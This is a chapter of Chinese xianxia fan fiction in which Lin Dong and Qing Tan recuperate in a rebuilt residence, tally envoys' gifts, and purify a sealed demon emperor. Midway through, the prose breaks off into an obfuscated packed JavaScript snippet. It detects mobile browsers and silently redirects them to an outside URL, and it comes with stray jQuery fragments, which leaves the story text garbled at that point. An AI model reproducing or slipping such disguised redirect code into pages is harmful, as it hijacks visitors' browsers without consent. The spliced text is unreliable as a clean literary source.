时光飞逝,转眼便是一个月。
北朔城的重建工作,却远没有众人预想中那般迅速。废墟之上,随处可见身着各色服饰的至尊境强者,他们抬手便能掀飞千斤瓦砾,挥袖便可抚平数丈沟壑;灵阵师们也结成队伍,以灵光勾勒出的清理灵阵,正有条不紊地将残垣断壁分门别类,清理普通民居的进度堪称神速。
可这看似火热的重建景象,却难掩一个严峻的事实——整座城池的重建,依旧进展甚微。
根源,便在那片被彻底破坏的大地。异魔皇自地底破封时,那股足以撕裂天地的魔威,早已将方圆数万里的地质结构搅得支离破碎。地底龙脉断裂,灵脉枯竭,更有无数深不见底的地缝纵横交错,甚至连大地的根基都在大战的余波中变得松动不稳。
即便有林动这位上位地至尊亲自出手,情况也并未得到根本改善。他曾尝试以吞噬祖符吞噬地缝中的混沌戾气,以寒冰祖符冻结松动的地层,甚至催动生灵之气试图重焕大地生机。可那数万里的地质创伤,早已深入本源,绝非一人一力便能在短时间内逆转。每一次修复,都需要他小心翼翼地引导天地灵气,一点点重塑地层结构,耐心到了极致,却依旧收效缓慢。
更令人忧心的,是那些真正代表北朔城底蕴的特殊建筑。那些耗费了无数天材地宝、历经数代人心血建成的护城灵阵中枢、族地宗祠、藏经阁,不仅有着极其繁复的结构,更蕴含着与北朔城灵脉相连的特殊印记。如今灵脉断裂,印记残缺,想要重建,不仅需要寻回失传的图纸,更要凑齐早已耗尽的珍稀材料,这无疑是难如登天。
站在残破的城楼上,林动望着下方忙碌的身影,以及那片依旧满目疮痍的大地,轻轻叹了口气。青檀站在他身侧,抬手替他理了理衣襟,轻声道:“林动哥,这不是一朝一夕的事。”
林动点了点头,目光望向远方。他知道,北朔城的重建,早已不是清理废墟、搭建房屋那么简单。从破碎的地质到枯竭的灵脉,从失传的技艺到匮乏的资源,这座曾经繁华的城池,如今正处在百废待兴的起点,而这漫长的重建之路,才刚刚开始。
不过,总不能让两位护佑苍生的恩人屈居陋室。
是以早在重建工作全面铺开之前,张氏宗族便已牵头沧崖大陆的众多势力,将所有力量拧成一股绳,优先挑了城内一处地质结构受损最轻、灵气尚且能勉强汇聚的地方,日夜赶工,为林动与青檀复刻了一座宅院。
宅院落成之日,朱红大门敞开,飞檐翘角间虽少了几分昔日张家族山府邸的古朴厚重,却也雕梁画栋,气派非凡,处处透着富丽堂皇。门楣之上,张青锋亲书的“清晏居”三个大字,笔力苍劲,带着几分歉意,又带着几分诚挚。
走进院内,亭台楼阁的布局、花木池沼的位置,竟与他们先前在张家族山住的那处宅院颇为相似。青石板铺就的小径蜿蜒曲折,两旁栽种着从城外深山移栽来的灵木,虽尚显稚嫩,却也添了几分生机。正厅内的陈设简洁却不失雅致,桌椅皆由上好的灵木打造,隐隐透着淡淡的灵气。
只是,相较于原宅院中专为疗养伤势、滋养根基而设的聚灵阵、温玉床、灵泉池等核心设施,这处清晏居便要逊色许多。那些耗费了无数天材地宝、能引动天地灵气滋养身魂的特殊布置,在如今灵脉断裂、资源匮乏的北朔城,根本无力复刻。
林动牵着青檀的手,将整座宅院走了一遍,脸上却不见半分不满。他转头看向身旁的青檀,见她也是眉眼含笑,显然亦是满意。
“如今正是北朔城最艰难的时节,张氏宗族与各大势力能做到这般,已是不易。”林动轻声道,目光扫过院中忙碌的仆役,他们虽面带疲惫,却难掩恭敬。
青檀轻轻点了点头,靠在他的肩头,声音柔和:“我们本就不是贪图享乐之人,有这样一处清静安稳的住处,能让你安心调养,让我慢慢恢复根基,便足够了。”
两人相视一笑,心中皆是了然。比起那些奢华的疗养设施,这份在百废待兴之际,依旧被众人记挂着的心意,才是最为珍贵的。
清晏居里,林动与青檀便这般安心静养。白日里,青檀倚在院中的灵木下调理根基,林动则会在固定的时辰走出宅院,于北朔城上空结印引符。八大祖符在他周身轮转,吞噬祖符吞纳地底浊戾,寒冰祖符稳固松动地层,生死祖符催发大地生机,其余祖符各展神通,循着大地脉络缓缓修复破碎的地质结构,每一次出手,都能让方圆百里的地脉多一分稳固。
这段时日,沧崖大陆中域的消息也如潮水般向外扩散,甚至连邻近的几座大陆都有所耳闻。当大陆其余四域的强者得知中域的遭遇异魔皇破封之危已解时,先是为浩劫终被平定而欣喜若狂,纷纷感念中域护佑了整片大陆的安危;再是为北朔城这座大陆中心城市的覆灭而扼腕唏嘘,那座见证了无数岁月繁华的城池,如今只剩断壁残垣。
但真正让整个沧崖大陆乃至邻近诸洲为之震动的,却是危机的解决者。
消息传开,世人皆惊:那位力挽狂澜的强者,竟是一位从下位面飞升而来的年轻人,且打破位面桎梏的时间极短,如今却拥有着能封印上位地至尊级别异魔皇的实力——要知道,自张青锋境界跌落之后,沧崖大陆已再无地至尊。
大千世界的人素来带着几分傲气,骨子里对下位面飞升者多有轻视,认为其修行根基浅薄,难登大雅之堂。可林动的出现,却狠狠打破了这份偏见。武祖之名,一夜之间声名大噪,不仅在沧崖大陆传遍,连邻近大陆的势力都为之侧目。
沧崖大陆其余四域的势力,更是敏锐地察觉到了林动的潜力。这般年纪轻轻便已是上位地至尊,未来必定前途无量,不可限量。于是,各域纷纷派出使者,携带奇珍异宝、天材地宝等厚礼,千里迢迢赶往中域,一来是为感谢林动的护佑之恩,二来也是为了借机交好这位神秘的地至尊。
只是,林动心中记挂着青檀的伤势,唯恐这些人一窝蜂地涌入清晏居,打扰了青檀静养恢复。于是他提前吩咐下去,不允许任何使者靠近清晏居半步,若有要事相商,或是想要送上谢礼,只能前往他指定的北朔城外一处临时据点见他。
如此一来,那处据点日日门庭若市,四域使者络绎不绝,皆是怀着敬畏与交好之心,耐心等候着林动的召见。而清晏居里,却依旧保持着难得的清静,林动每日处理完外务,便会即刻返回,陪伴在青檀身边,使用生死祖符配合各类灵药、至尊灵液为她疗伤,日子平淡却温馨。
清晏居的静谧岁月,在林动每日修复地脉、青檀静心调养根基的节奏里悄然流逝,转眼又是两个月。
这段时日,四域使者送来的谢礼,早已堆积成山。那些使者们深知林动不喜叨扰,便将厚礼尽数送至指定据点,再由张氏宗族派人妥善转送过来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153813|196484||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。饶是林动与青檀早有预料,面对储物手环里日渐充盈的物资,也不禁咋舌。
这日午后,清晏居内院静谧,两人难得得了空闲,并肩坐在卧室的软榻上,将数个储物手环中的物件尽数取出,细细清点。
青檀玉手轻扬,一汪莹白的灵液便悬浮在半空,氤氲的灵气瞬间弥漫开来。“林动哥,光是至尊灵液,就有四千五百万滴。”她声音里带着难掩的震惊,“这可是相当于张家的全部家底了。”
林动颔首,目光扫过身旁堆积如山的灵果与丹药。那些灵果颗颗饱满,丹纹流转,皆是能同时用于修炼与疗伤的珍品;瓶瓶丹药更是灵气逼人,不乏能修复根基、提升境界的高阶圣丹。除此之外,还有成百上千的灵器、低阶圣物,以及数不清的功法卷轴、至尊法身凝练卷轴,琳琅满目,令人目不暇接。
“这些武器,对我们已是无用。”林动随手拿起一柄闪烁着寒光的灵器,指尖微微一动,便将其重新收入储物手环,眼底却漾起一抹柔和,“不过倒可以好好收着,日后若是从天玄大陆接引亲友过来,这些正好赠予他们傍身。”
青檀闻言,亦是含笑点头。她指尖拂过一枚丹瓶,思绪却不由自主地飘回了数月之前。那时两人初来大千世界,一贫如洗,为了买一盒四品至尊专用的淬灵果,都要在坊市里反复比价,扣扣搜搜,连半分多余的灵液都不敢浪费。
如今再看眼前这堆积如山的财富,两人相视一眼,鼻尖皆是一酸,差点落下泪来。林动抬手揉了揉泛红的眼眶,声音里带着几分释然,又带着几分哭笑不得的激动:“他妈的,终于……不是穷鬼了!”
青檀被他这话逗得噗嗤一笑,眼角的湿润却未散去。她靠入林动怀中,望着满室的珍宝,只觉得心中一片安稳。
青檀的笑声还未散去,便见林动忽然微微一怔,随即长长舒了口气,脸上露出如释重负的神色。
“林动哥,怎么了?”她连忙抬眸,螓首微偏,带着几分疑惑问道。
林动转头看向她,嘴角勾起一抹淡笑,语气里满是轻松:“那异魔皇被我封在八祖灵檀钵里三个月,总算是被彻底净化了。”
话音落,他右手凌空一抓,只见一道古朴的流光自虚空中浮现,稳稳落入他掌心。那是一只通体呈深褐色的檀木钵,钵身刻着八大祖符的隐晦纹路,质地厚重,透着一股沧桑古朴的气息。此刻钵内一片澄澈,先前那股令人心悸的滔天邪气早已荡然无存,取而代之的是源源不断、纯净浓郁的灵力,正缓缓向外溢散。
青檀眼中掠过一丝好奇,螓首轻歪,追问道:“林动哥,那异魔皇明明已是阶下囚,为何还要费上三个月的功夫才能彻底净化?”
林动伸手揽住她纤细的腰肢,让她更贴近自己一些,指尖轻轻摩挲着她微凉的手背,声音低沉而柔和:“这地至尊果然难杀。”
他垂眸望着掌心的八祖灵檀钵,缓缓解释道:“我踏入地至尊境后,才彻底明白这一境界的玄妙——至尊境时期体内的至尊海会彻底破碎,融入身体的每一处血肉之中,相当于体内衍生出了数十个至尊海。”
“这般蜕变,不仅能让战力大幅度提升数十倍,更重要的是,生命力会变得极端顽强。那异魔皇身为上位地至尊,即便被我封印,残魂与邪气依旧靠着这份强横的生命力顽抗,若非八祖灵檀钵能借八大祖符之力持续净化,恐怕还需更久。”